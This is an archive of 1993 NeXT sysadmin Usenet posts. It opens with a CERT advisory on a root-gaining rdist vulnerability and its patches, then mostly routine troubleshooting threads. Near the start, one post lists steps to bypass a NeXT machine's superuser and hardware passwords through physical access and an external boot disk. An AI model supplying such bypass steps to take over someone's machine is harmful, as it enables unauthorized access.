The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability in /usr/ucb/rdist (the
location of rdist may vary depending on the operating system). This
vulnerability is present in possibly all versions of rdist. Vendors
responding with patches are listed below. Additionally, some vendors
who do not include rdist in their operating systems are identified.
Operating systems from vendors not listed in either of the two categories
below will probably be affected and the CERT/CC has proposed a workaround
for those systems.
VENDORS THAT DO NOT SHIP rdist
(Note: Even though these vendors do not ship rdist, it may have been
added later (for example, by the system administrator). It is
also possible that vendors porting one of these operating systems
may have added rdist. In both cases corrective action must be taken.)
Amdahl
AT&T System V
Data General DG/UX for AViiON Systems
VENDORS PROVIDING PATCHES
Cray Research, Inc. UNICOS 6.0/6.E/6.1 Field Alert #132 SPR 47600
For further information contact the Support Center at 1-800-950-CRAY or
612-683-5600 or e-mail support@crayamid.cray.com.
NeXT Computer, Inc. NeXTstep Release 2.x
A new version of rdist may be obtained from your
authorized NeXT Support Center. If you are an authorized
support center, please contact NeXT through your normal
channels. NeXT also plans to make this new version of
rdist available on the public NeXT FTP archives.
Silicon Graphics IRIX 3.3.x/4.0 (fixed in 4.0.1)
Patches may be obtained via anonymous ftp from sgi.com in the
sgi/rdist directory.
Sun Microsystems, Inc. SunOS 4.0.3/4.1/4.1.1 Patch ID 100383-02
Patches may be obtained via anonymous ftp from ftp.uu.net or from local
Sun Answer Centers worldwide.
The CERT/CC is hopeful that other patches will be forthcoming. We will
be maintaining a status file, rdist-patch-status, on the cert.org
system. We will add patch availability information to this file as
it becomes known. The file is available via anonymous ftp to
cert.org and is found in pub/cert_advisories/rdist-patch-status.
All trademarks are the property of their respective holders.
---------------------------------------------------------------------------
I. Description
A security vulnerability exists in /usr/ucb/rdist that
can be used to gain unauthorized privileges. Under some
circumstances /usr/ucb/rdist can be used to create setuid
root programs.
II. Impact
Any user logged into the system can gain root access.
III. Solution
A. If available, install the appropriate patch provided by
your operating system vendor.
B. If no patch is available, restrict the use of /usr/ucb/rdist
by changing the permissions on the file.
# chmod 711 /usr/ucb/rdist
-The following I consider a security problem: By removing the Lithium
-battery one can erease the hardware password (according to a discussion
-last year). If the NeXT has EEPROMs, why is this? There is of course
-another (bonafide) way to hack through the superuser password:
-1: get yourself an external disk on a machine on which one is superuser
-2: make it bootable
-3: give it SCSI id 0
-4: hook it up to the machine that needs to be hacked
-5: start up. Become superuser. Read hardware password (there exists a
- little program for this
-6: Back to old configuration and start in single user mode. Take over
machine completely (set new superuser password).
-The above is however not what the average hacker can do coming in from
-a network.
-Well, this is all I have up to know. If all system administrators were
-to use the above advice to nail their system shut, life will become more
-challenging for those who try to get around that.
Jos Vermaseren
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From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: Always make backups
Message-ID: <1993Jan18.125630.7185@news.cs.indiana.edu>
Organization: NeXT Canada
References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu>
Date: Mon, 18 Jan 1993 12:56:21 -0500
I'd like to add one more item to Geoff's list of backup suggestions.
VERIFY that your backup copy actually has the correct data in it. Try to
restore something from your backup once in a while.
You may find that that there was a bug in your backup procedure, and that
certain things that you thought were being backed up every night are not
actually safely resident in the backup copy.
If there's a problem with your backups, you don't want to develop a
false sense of security. Don't wait until you really need your backups
to discover that, for instance, your backup script was only saving a
copy of the symbolic link to the data files rather than the actual data
files themselves.
..Steve
--
Steve Hayman Systems Engineer, NeXT Canada Toronto, Ontario
NeXT Mail: Steve_Hayman@NeXT.com (416) 607-4059
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Control: cancel <1993Jan18.125401.7102@news.cs.indiana.edu>
From: "Shing Shong Shei" <shei@cs.indiana.edu>
Subject: cmsg cancel <1993Jan18.125401.7102@news.cs.indiana.edu>
Message-ID: <1993Jan18.130108.7305@news.cs.indiana.edu>
Organization: Computer Science, Indiana University
Date: Mon, 18 Jan 1993 13:01:03 -0500
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <HARDY.93Jan18103006@golem.ps.uci.edu>
In-reply-to: louie@sayshell.umd.edu's message of 18 Jan 1993 17:15:18 GMT
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
References: <1993Jan17.195642.393@count0.cmhnet.org> <1jeoj6INNd8r@ni.umd.edu>
Date: 18 Jan 93 18:30:09 GMT
In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes:
> To shut the system down, just use "shutdown" or "halt" with no
> options. It works for me.
Or even plain "reboot" (without options, as root), will first sync the
disk and mark it as clean. I do this about once a week to regain
swap-space.
--
Hardy
-----
Meinhard E. Mayer, Department of Physics, UC Irvine
e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET
!!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
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From: ajetha@musecorp.musecorp.com (Alykhan Jetha)
Subject: Help with NewsGrazer
Message-ID: <9301182204.AA21041@musecorp.musecorp.com>
Sender: daemon@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Mon, 18 Jan 1993 21:57:23 GMT
Hello,
I'm using CNews and NewsGrazer to read news. Unfortunately I cannot seem to post
from NewsGrazer. Many people have told me not to use NewsGrazer, unfortunately, the
execs here do not like the read news from a terminal window. So I don't have much
choice, I have to figure it out.
At this site, we don't send news to any other sites, we are the end of the pipe.
I think the problem lies with the CNews section of it.
When I post a message, a dead.article is produced (in my root directory), however,
there is nothing in the /usr/spool/news/out.going or /usr/spool/news/out.going/bad.
Also, the /usr/local/bin/news/ctl/batchparams file I have is the default one.
I have modified only one line. (our server name is musecorp)
# site size queue builder muncher sender
# ---- ---- ----- ------- ------- ------
/default/ 500000 12 batcher nocomp viauux
musecorp 500000 12 batcher comp16 viauux
My /etc/crontab.local looks like this:
#
# /---------------\
# ! do news stuff !
# \---------------/
#
00,15,30,45 * * * * root su news -c '/usr/local/bin/news/input/newsrun'
00 00 * * * root su news -c '/usr/local/bin/news/input/newsrunning on'
00 01 * * * root su news -c '/usr/local/bin/news/batch/sendbatches'
00 04 * * * root su news -c '/usr/local/bin/news/expire/doexpire'
00 05 * * * root su news -c '/usr/local/bin/news/maint/newsdaily'
30 05 * * * root su news -c '/usr/local/bin/news/maint/newswatch'
#
Can somebody help??????
Regards,
AlyKhan Jetha
Muse Corp.
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From: beksten@ucqais.cba.uc.edu (Brick Eksten)
Subject: getting NeXT Mail
Message-ID: <48@ucqais.cba.uc.edu>
Summary: Can I receive NeXT Mail at my non next unix account?
Keywords: NeXT Mail
Sender: root@babbage.ece.uc.edu (Operator)
Organization: University of Cincinnati, College of Business
Distribution: US
Date: Fri, 15 Jan 1993 05:45:54 GMT
I have a dial in usenet account at which I recieve all my mail.
Can I somehow receive NeXT mail at this account and read it on my
NeXT machine? (after transfering it to the NeXT that is).
Guess that wasn't clear, I don't use the NeXT to dial up, I use an
Amiga. The NeXT is usually busy doing something.
--
Brick Eksten Eco Development
beksten@ucqais.cba.uc.edu % If this ain't fun I don't know what fun is? %
EcoDev@cup.portal.com
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From: b_brottier@cubx.com
Subject: Re: How to change language (loginwindow)
Message-ID: <1993Jan18.124719.11072@cubx.fdn.org>
Sender: news@cubx.fdn.org
Organization: Cub'X Systemes, France.
References: <1j54vpINN53i@network.ucsd.edu>
Date: Mon, 18 Jan 1993 12:47:19 GMT
In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade Blomgren)
writes:
|
| A user got to one of our turbo slabs that had just been upgraded to 3.0
| before we did, and mischievously set the language and keyboard to
| French instead of the desired English, in the configuration application
| that comes up on the first reboot after a 3.0 install.
|
| I managed to find the right keys on the keyboard to feed in the root
| password and get in, and I changed the root prefs to USA keyboard and
| English, and now it seems if the average user logs in s/he gets an
| English environment, but the loginwindow is still in French. I
| rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for
| English and rebooted but the login window is still in French.
| No other likely files presented themselves in an rdist comparison
| of the tow machines.
|
| Suggestions on how to force the language back to English would be
| most welcome.
|
| Wade Blomgren
| wade@hobbes.ucsd.edu
Just destroy
/etc/hostconfig
/etc/netinfo
and put
/usr/template/client/etc/hostconfig
/usr/template/client/etc//netinfo
at the previous place
Then power-down.
When power-up, you will have the NetInfo panel one more time, and check the
correct items.
Hope this helps
--
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From: moose@aoa.utc.com (Bruce Trvalik)
Subject: next scsi bus
Message-ID: <1993Jan18.234747.8011@aoa.aoa.utc.com>
Sender: news@aoa.aoa.utc.com (USENET News System)
Organization: Adaptive Optics Associates
Date: Mon, 18 Jan 1993 23:47:47 GMT
I need to access a device across the scsi bus that requires 512 byte
blocks from a raw (character) device. The device is a frame grabber that
emulates a 512 byte/sector hard disk. I've noticed that in disktab it
says that ss MUST be 1024. If I allow the system to initialize and format
it, the system can create a filesystem & It appears to be a 1Mb disk...
that's good (it contains 1 Mb of memory). However the device uses block 0
for input & block 1 for output. The output buffer appears to get corrupted
when I attempt to read from it. If I try to access it without initializing
& formatting it, I get errno 6 (no such device or address). If I try to
access it without connecting it to the scsi bus I get a bus error.. Any
ideas?
Note: I am using a NeXT station color Turbo with NS 2.2
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Newsgroups: comp.sys.next.sysadmin
Subject: NeXTStep 3.0->2.1 downgrade
Message-ID: <1993Jan18.195632.20978@yang.earlham.edu>
From: tim@polycarp (Tim McLarnan)
Date: 18 Jan 93 19:56:32 EST
Distribution: world
I run a small lab of NeXTs. All my machines are NextStations running
NeXTStep 2.1. We recently spent the last bit of our grant buying a
Turbo, which naturally arrived with NeXTStep 3.0. I can get this
machine running on our network, but I'd strongly like all our machines
to look identical to our students. We can't afford to upgrade them
all to 3.0 right now.
Does anything prevent me from running BuildDisk on the Turbo and
downgrading its OS to 2.1 until we can upgrade all the machines?
I don't want to try this and find out that there's something in the
ROMs that requires NeXTStep 3.0 or higher. (Can you tell I also
manage Macs :-)
Tim McLarnan tim@math.earlham.edu
Dept of Mathematics, Earlham College, Richmond, IN 47374 USA
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Newsgroups: comp.sys.next.sysadmin
From: ralf@rafa.in-berlin.de(Ralf Neumann)
Subject: explist file don't work HELP!!!
Message-ID: <1993Jan18.212140.538@rafa.in-berlin.de>
Sender: ralf@rafa.in-berlin.de
Organization: no
Date: Mon, 18 Jan 1993 21:21:40 GMT
Hello!
My explist file don't work how I want it.
It looks like this:
# modified version, no archiving
#
# hold onto history lines 14 days, nobody gets >90 days
/expired/ x 14 -
/bounds/ x 0-1-90 -
# override later defaults for some groups of note
sci.space.shuttle,rec.birds x 3 -
de.comp.sys.next x 30 -
cl.antifa x 7 -
comp.benchmarks x 3 -
comp.soft-sys x 3 -
comp.sys x 3 -
comp.sys.next x 30 -
comp.text.frame x 30 -
bit.listserv.scuba x 14 -
soc.culture.caribbean x 3 -
# big non-tech groups held long enough for a long weekend
sci,rec,talk,soc,misc,alt u 3 -
# real noise gets thrown away fast
news.groups x 0 -
junk,tor.news.stats x 0 -
comp.sys.amiga x 0 -
# default: 7 days and archive
all x 7 -
After expiring it has deleted also the comp.sys.next and the
comp.sys.frame articles which I just have changed to a longer periode than
one week (now set to 30 days before 7 days):-(
What is wrong? How can I protect this groups 30 days or longer?
Any help would be very welcome!!!
Excuse me that I write it in this group but I didn't know where to
place it!
So long
* * * Ralf * * *
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From: mjones@magnus.acs.ohio-state.edu (Charles R Morrow-Jones)
Subject: Is there a GRASS port
Message-ID: <1993Jan19.173233.12557@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Tue, 19 Jan 1993 17:32:33 GMT
Does anyone know whether a program called GRASS has been ported to the
NeXT? It is apparently a mapping package that was originally developed
for SUNs. Thanks.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
Charles R. Morrow-Jones (614) 292-1302
Assistant Director, Office of Academic Computing
The Ohio State University Columbus, Ohio 43212-1154
mjones@osc.edu -or- morrow-jones.2@osu.edu
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Newsgroups: comp.sys.next.sysadmin
From: timbuck@borg.lib.vt.edu (Tim Buck)
Subject: Re: NeXTStep 3.0->2.1 downgrade
Message-ID: <1993Jan19.183653.26246@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: Los Alamos National Laboratory, NM
References: <1993Jan18.195632.20978@yang.earlham.edu>
Date: Tue, 19 Jan 1993 18:36:53 GMT
In article <1993Jan18.195632.20978@yang.earlham.edu> tim@polycarp (Tim McLarnan) writes:
>
>I don't want to try this and find out that there's something in the
>ROMs that requires NeXTStep 3.0 or higher. (Can you tell I also
I don't know how easy or difficult it will be to downgrade from 3.0,
but the Turbo machines *DO* require NeXTStep 2.2 or higher.
--
Tim Buck
rri!tim@vtserf.cc.vt.edu Recognition Research, Inc.
timbuck@borg.lib.vt.edu Blacksburg, VA 24060
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Newsgroups: comp.sys.next.sysadmin
From: gcolello@biosphere.Stanford.EDU (Greg Colello)
Subject: Need Network Retries Monitor
Message-ID: <1993Jan19.185055.5236@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Tue, 19 Jan 93 18:50:55 GMT
Our local network seems to be "degraded", but still functional. The
degradation is not due to user traffic which is normal. It appears to be
performing lots of retries in the background, but packets are usually
successfully received (as shown by ping). Occassionally things REALLY
degrade and packets get lost for a period of time spread out over an hour.
Then things get better. No doubt we have a wiring problem somewhere, but
it's hard to fix when we don't have a good diagnostic of the marginal
functionality. I think we need a way to track the number of retries being
performed to get a better handle on our marginal network health.
Is there a program that accumulates statistics on network retries? I have
run all the utilities referred to by the man pages (for example nfsstats
and ping). They don't seem to keep track of retries.
I also have the public archive Next app KPerfMon. It shows network packet
activity, but that's all.
Thanks.
-----------------------------------------------------------------
Greg Colello
Carnegie Institution, Department of Plant Biology
Stanford University
gcolello@biosphere.stanford.edu (NeXT mail OK)
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From: djd@glv.com (David Deininger)
Subject: exporting CD Rom disk
Message-ID: <1993Jan19.184030.12773@glv.uucp>
Sender: usenet@glv.uucp
Organization: Encompass
Date: Tue, 19 Jan 1993 18:40:30 GMT
I'm trying to export a NeXT CD Rom disk from a NeXT to a bunch of other NeXTs.
What do I have to do? If I need an entry in /etc/fstab, what should it look
like? Is there any written documentation of how to do this? I'm not even sure
what I should describe to make solving this problem easier. _Any_ help would
be much appreciated!
Thanks,
David Deininger (djd@glv.com)
From: fab9452@nigel.tamu.edu (Allan Bailey)
Newsgroups: comp.sys.next.sysadmin
Subject: Upgrading NeXTstations w/ only 100Mb disks (clients)?
Date: 19 Jan 93 15:33:25
Organization: Computing Services Center, Texas A & M University
Distribution: comp
Message-ID: <FAB9452.93Jan19153325@nigel.tamu.edu>
Help! :-)
I keep running out of disk space on these puppies.
I have a server that exports most stuff to the clients. But the
Upgrade_3.0.app slurps up the disk space via the /private/vm/swapfile
growth phenomenon.
Is there anyway to make swapfile stay put? Maybe if i just deleted it.....
any help would be greatly appreciated.
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From: jmuscat@nexus.yorku.ca (John Muscat)
Subject: HELP: NI Clone messes up net on NI master reboot
Message-ID: <1993Jan19.222623.8444@newshub.ccs.yorku.ca>
Originator: jmuscat@nexus.yorku.ca
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Toronto, Canada
Date: Tue, 19 Jan 1993 22:26:23 GMT
I'm managing a Netinfo network which is composed of a netinfo master (NIMAST),
a netinfo clone (NICLONE), a filesever (NISERV) and a number of machines
which are netinfo clients. To maintain flexibilty in the net for reconfiguration
I use machine name aliases for machines which provide a service (eg. MAILHOST
for the mail machine and HOMEHOST for the fileserver).
Since upgrading the net from NS 2.2 to NS 3.0 I've noticed a peculiar problem
that occurs when NIMAST is rebooted. Under 2.2 NICLONE would takeover and
service requests for user and machine information. However, under 3.0 the
NICLONE machine services most requests however knows nothing about machine
name aliases. When a client machine makes a request for the info the NICLONE
returns 'host unknown'. One consequence is users can login and be validated
but lose there homedir since HOMEHOST is unknown (ie the homedir is
/Net/HOMEHOST/Users...). I haven't been able to afford the downtime but
mail may also be affected since I got a 'host unkown' for MAILHOST as well.
The problem persists even after the NIMAST completes rebooting. The only
solution is to reboot the NICLONE and if neccessary reboot any clients
who still respond 'host unknown'. This works since on a reboot of
NICLONE it rebuilds its nidb from the already running NIMAST.
I suspect one of two things along with a possible solution:
1. NS 3.0 doesn't handle machine name aliases properly under
this scenario.
Hence, I will have to remove name aliases
and lose some flexibility. However, I still have a problem
with the MAILHOST alias since this is built into the
mail setup for Netinfo & Sendmail.
2. In the process of upgrading the Net the NICLONE netinfo nidb
got corrupted and doesn't rebuild itself properly.
Hence, I will have to unmake the NICLONE as a netinfo clone
and make it a clone again from scratch (to be on the safe I'll
choose a new clone).
NOTE: I did a 'niutil -list / /machines' on NICLONE and it listed
back the aliases properly. I also tried nifix.
Before taking the possible actions in 1 or 2 has anyone else noticed this
problem and found a solution for it? Does anyone have any comments on my
suspicions and possible solutions?
Quick help much appreciated since I'm one reboot away from chaos,
John
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John Muscat
Mathematics & Statistics
York University
North York, Canada
M3J 1P3
email: jmuscat@nexus.yorku.ca
voice: (416) 736-2100 x88604
fax: (416) 736-5735
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From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.sysadmin
Subject: Call for Presentation Topics: 1993 NeXTWORLD Expo
Message-ID: <6309@rosie.NeXT.COM>
Date: 19 Jan 93 22:27:12 GMT
Sender: news@NeXT.COM
Dear NeXT User,
If you will be attending the 1993 NeXTWORLD Expo to be held in San
Francisco, California - May 25-27, 1993, please read on...
Enclosed is a Presentation Proposal Form to be completed by anyone
interested in becoming a speaker at this year's NeXTWORLD Expo
User and Developer Conference programs. Email your completed form
today to info@next.com. The deadline for submissions is Monday,
January 25th.
Best wishes,
Conrad Geiger
Manager, International NeXT User Groups
P.S. Call to get on the postal mailing list for advanced
registration and more information about the 1993 NeXTWORLD Expo:
1-800-767-2336 -or- from outside North America call 508-470-3880
-or- fax (508)470-0526.
____________________________________________________________________
NeXTWORLD Expo '93 Conferences
Presentation Proposal Form
Name:
Title:
Organization:
Address:
City: State: Zip:
Phone Number:
Topic Information
Title:
Category (Please indicate the most appropriate area to which your
presentation topic relates):
[] Client/Server Computing Issues [] Enterprise-Wide Deployment
[] Application Development Issues [] Building Database Applications
[] Interoperability & Networking [] Object-Oriented Technology
Abstract (Please prepare a 100-word summary of your topic covering
its goals, key points, issues, and experiences, etc.)
Complete and email this form with the Subject heading:
"NeXTWORLD Expo '93 User Conference [65KVER]"
to: info@next.com.
>> Deadline for Submissions is 1/25/93 >>
Newsgroups: comp.sys.next.sysadmin
From: shmuli@techunix.technion.ac.il (Shmuel Browns)
Subject: Explanation of message during boot?
Organization: Technion, Israel Institute of Technology
Date: Tue, 19 Jan 1993 21:23:21 GMT
Message-ID: <shmuli.727478601@techunix.technion.ac.il>
Sender: news@wang.com
All of a sudden (or at least I never noticed it before), I get a message
right at the end of the boot sequence:
Windowserver Problem starting the NeXTdimension.psdrvr routine...
First of all, it's very hard to read it because almost instantaneously it
disappears and I get the regular login window. Is there a file somewhere where
the boot messages on the console are stored?
I don't have a NeXTDimension board. I'm running on a mono NeXTstation,
recently upgraded to 20MB RAM. I found the file NeXTdimension.psdrvr under
/usr/lib/NextStep/Displays - could someone send me a ls -l of this directory?
I don't have access to another NeXT running 2.1 - so I can't tell if I'm missing
some file or other (fsck did complain about an unreferenced file).
Thanks for your help,
Shmuel
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Director YIN - Israel NeXT user group
INTERNET: shmuli@shum.cc.huji.ac.il FAX: +972-2-862547
VOICE: +972-2-610785 SNAIL: 24 Hazefira, Jerusalem 93102 ISRAEL
Newsgroups: comp.sys.next.sysadmin
From: timbuck@borg.lib.vt.edu (Tim Buck)
Subject: Re: exporting CD Rom disk
Message-ID: <1993Jan20.005038.4020@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: Los Alamos National Laboratory, NM
References: <1993Jan19.184030.12773@glv.uucp>
Date: Wed, 20 Jan 1993 00:50:38 GMT
Please summarize the responses you get on this -- I'm interested in this
as well.
--
Tim Buck
rri!tim@vtserf.cc.vt.edu Recognition Research, Inc.
timbuck@borg.lib.vt.edu Blacksburg, VA 24060
------------------- Standard disclaimers apply -------------------
From: tom@cse.fau.edu (Tom Horton)
Newsgroups: comp.sys.next.sysadmin
Subject: websterd under 3.0
Message-ID: <1993Jan20.010424.4539@cybernet.cse.fau.edu>
Date: 20 Jan 93 01:04:24 GMT
Sender: news@cybernet.cse.fau.edu
Organization: Florida Atlantic University, Boca Raton
Does websterd work for NeXTSTEP 3.0? I have ftp'd the files from
iuvax.cs.indiana.edu, and while there's a directory there for 1.0 and 2.0,
no mention of 3.0. I also see that the dictionary and thesaurus file names
used to end in .nxbf under 2.1 and they don't under 3.0.
Since the instructions seem to be 2.0 specific, I haven't actually tried
setting it up on our 3.0 machine. What's the story?
Tom
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Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800
Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
From: pkron@corona.wa.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Explanation of message during boot?
Message-ID: <14.UUL1.3#16216@corona.wa.com>
Date: Tue, 19 Jan 93 18:48:36 PDT
References: <shmuli.727478601@techunix.technion.ac.il>
Organization: Corona Design, Inc.
> From: shmuli@techunix.technion.ac.il (Shmuel Browns)
> Organization: Technion, Israel Institute of Technology
> Date: Tue, 19 Jan 1993 21:23:21 GMT
>
> All of a sudden (or at least I never noticed it before), I get a message
> right at the end of the boot sequence:
> Windowserver Problem starting the NeXTdimension.psdrvr routine...
> First of all, it's very hard to read it because almost instantaneously it
> disappears and I get the regular login window. Is there a file somewhere where
> the boot messages on the console are stored?
> I don't have a NeXTDimension board. I'm running on a mono NeXTstation,
> recently upgraded to 20MB RAM. I found the file NeXTdimension.psdrvr under
> /usr/lib/NextStep/Displays
The message is in error and, I believe, harmless. I have seen it regularly
on color NextStations and it caused no harm. (You probably just never
noticed it.)
Most messages (including this one) can be found logged in /usr/adm/messages.
---------------
Peter Kron
Corona Design, Inc.
Peter_Kron@corona.wa.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: ed@talus.com
Subject: 250 Mb want to be a developer machine ;)
Message-ID: <1993Jan20.043337.2185@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
Date: Wed, 20 Jan 1993 04:33:37 GMT
Hi there,
I have got quite a stupid Network setup here, but I don't have time to mess
with it :
one Color 24 Mb of RAM with 250 Mb HD with NS 3.0 is the server for
mail/news/files/UserDir because it is hooked to a 900 Mb HD and a 650 Mb OD.
one B&W 16/400 as a client (it has the Extended version of 3.0).
Unfortunately I use the color machine (though it is more fun that a monochrome,
under 3.0). Craig gets to play with the monochrome, with the developer version
and he doesn't know what C is (nor B what that matter) Don't ask why !
What directories do I need to link over NFS to be able to compile, use IB,
emacs, ProjectBuilder, etc et. I want to code again !!!
Ed.
--
Erik Dasque "The French guy" Houston (713) 561-0700
V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <C156H9.4Kx@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
References: <1jeoj6INNd8r@ni.umd.edu>
Date: Wed, 20 Jan 1993 07:36:44 GMT
In article <1jeoj6INNd8r@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos)
writes:
> In article <1993Jan17.195642.393@count0.cmhnet.org> cgb@count0.cmhnet.org
writes:
>
> >Has started ALWAYS doing a FULL check disk on power up.
> >running fsck in single user on the raw device does not
> >turn up ANYTHING and doing a reboot -q -n after the fsck
> >will work as long as I don't turn the power off...
> >
> >If I power the system down and back on it WILL do a full disk check..
> >
> >Any ideas?
>
> Sure. Don't shut down your system that way. By RTFM 'man reboot':
>
> Options to reboot are:
>
> -n Avoids the sync. It can be used if a disk or the pro-
> cessor is on fire.
>
> -q Reboots quickly and ungracefully, without shutting down
> running processes first.
>
> Note the "quickly and ungracefully" as well as "Avoids the sync".
> Unless the file system is marked as being unmounted cleanly when the
> system goes down, it will need to be fsck'ed to ensure that its in
> good shape.
>
> To shut the system down, just use "shutdown" or "halt" with no
> options. It works for me.
>
> Louis Mamakos
Maybe so. But I have 7 stations on a net and NONE of them can be reliably
rebooted without fsck'ing after upgrading to 3.0. Curiously, the cube server
never has a problem. There is obviously a bad bug in 3.0.
--
The gentle journey jars to stop. The drifting dream is
done. The long gone goblins loom ahead; the deadly,
that we thought were dead, stand waiting, every one.
-- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin
From: outland!jmast@ms.uky.edu (John A. Mastrolia)
Subject: Re: UPS - Stedi-LANDing Systems
Message-ID: <C1500C.5ny@outland.uucp>
Sender: jmast@outland.uucp (John A. Mastrolia)
Organization: Kentucky NeXT Users Group (KYNUG)
References: <1j48t3INNra2@darkstar.UCSC.EDU>
Date: Wed, 20 Jan 1993 05:16:59 GMT
In article <1j48t3INNra2@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell)
writes:
->
-> In article <1993Jan14.155818.11950@macc.wisc.edu> anderson@macc.wisc.edu
(Jess Anderson) writes:
-> >In article <1j34m9INNjo2@darkstar.UCSC.EDU>
-> >isbell@cats.ucsc.edu (Art Isbell) writes:
->
-> >>So if you're considering a UPS purchase, support the only UPS vendor who
-> >>supports NeXTSTEP.
->
-> >If possible, could you please post price/capacity into?
-> >Thanks!
-> I bought the smallest StedLANding system which includes the 500 Turbo
-> StediWatt UPS of 400 watt capacity (I guess the "500" refers to its
-> capacity in volt-amps).
[Stuff Deleted]
->
-> Art Isbell Cubic
Solutions
-> NeXT Registered Developer #745 NeXT software development and
consulting
-> NeXTmail: isbell@cats.UCSC.EDU Voice:
(408)335-1154
-> USmail: 95018-9442 Fax:
(408)335-2515
I have Stedi-Landing's Turbo 750 system and have had *no* problems with it
whatsoever! I installed it in November of last year with the supplied
software. Both hardware and software have worked flawlessly on my system
(Mono-Turbo Slab, NeXT CD-ROM, External HD, Modem). The only item I can't
protect with it is my NeXT Laser printer due to it's power requirements, though
I have plenty of capacity to add more HD's, Tape Drives, etc.
I've had only 3 power outages that lasted for less than 10 minutes. The system
shuts down cleanly after warning you in both a dialogue box and voice alert.
The software also logs the power incidents to a file and has user defined
warning times and messages (e.g. you can shut down at 2 minutes, 5 minutes, or
whatever). On my system, the Turbo-750 will keep the system running over 15
minutes. Voice alerts are supplied in sound files that can also be modified to
suit the user as well.
It's a great system with excellent support.
For more info, contact Scott Liddick at Stedi-LANDing systems: (800)733-3155.
--
John A. Mastrolia +1 606 266-7640
outland!jmast@ms.uky.edu
From: szatrows@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
Subject: NUCA (REMINDER)
Message-ID: <Jan.20.01.57.28.1993.3787@gandalf.rutgers.edu>
Date: 20 Jan 93 06:57:28 GMT
References: <1992Dec30.201547.21564@kakwa.ucs.ualberta.ca> <1993Jan7.180212.2847@boba.rhein-main.de>
Followup-To: comp.sys.next.programmer
Organization: Rutgers Univ., New Brunswick, N.J.
N U C A---REMINDER---REMINDER---REMINDER---REMINDER---REMINDER!!!!
NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name!
Submissions will be taken until _Jan 23,_1993_.
All you need to do is send back the form attached below with
your favorite software or hardware products for 1992.
The subject of the post should be Re: NUCA (or just replying
to this post). Send votes to szatrows@gandalf.rutgers.edu
I will post the results and maybe see about getting little
trophies or ribbons made up for the winners.
This is your chance to reward the great NeXT Developer
community by shining some well deserved praise their way.
The rules are:
- You can only vote once (i.e. one vote per e-mail address).
- You can vote for any product you wish; be it from NeXT, a 3rd
party developer, shareware/freeware (or those tasty frosted donuts
from Hostess under the 'other' category ;-)
Finally I made up a logo for the winners to use (if they want
to) to let everyone know that they won the NUCA. I'll put it up on
both orst and nova. People can let me know if they think it stinks
and if so please feel free to make your own (after all it is the
U S E R S ' choice award so the users should get involved!). BTW
you will need Helvetica-Black and Avant Garde (Book Oblique & Demi
Oblique) to see the logo in all of its glory :-)
NUCA Form below:
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1.) Software
a.) Audio :
b.) Communications :
c.) DataBase :
d.) Developer :
e.) Desk Top Publishing:
f.) Game :
g.) Graphic :
h.) MultiMedia :
i.) Scientific :
j.) Spreadsheet :
k.) Wordprocessing :
l.) Utility :
m.) Video :
n.) Other :
2.) Overall Software Product of the Year :
3.) Hardware
a.) Audio :
b.) Communications :
c.) Display :
d.) Graphic Input :
e.) Mass Storage :
f.) Printing/Output :
g.) Video :
h.) Other :
4.) Overall Hardware Product of the Year :
5.) Overall Product of the Year :
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From: jkight@au-ns.american.edu (Jeff Kight)
Newsgroups: comp.sys.next.sysadmin
Subject: crontab.local / loginwindow dwrite problems?!?
Date: 20 Jan 1993 07:54:36 -0500
Organization: The American University Computing Center
Message-ID: <1jji2cINNca0@au-ns.american.edu>
Here is a strange one for you all...
I am running INN 1.2 in production on a NeXTstation. Everynight, at 1am, I
want to run news.daily which runs expire, statistics et al. I also want to
run my uucp user stats.
Last week, I read the post about the loginwindow dwrites. And put the values
in []'s in for my values:
dwrite loginwindow TimeToDim <integer_number> [1020]
dwrite loginwindow MoveWhenIdle YES [YES]
dwrite loginwindow MovementTimeout <real_number> [15]
dwrite loginwindow MovementScale <integer_number> [200]
dwrite loginwindow MovementRate <real_number> [600]
My crontab.local looked like the following:
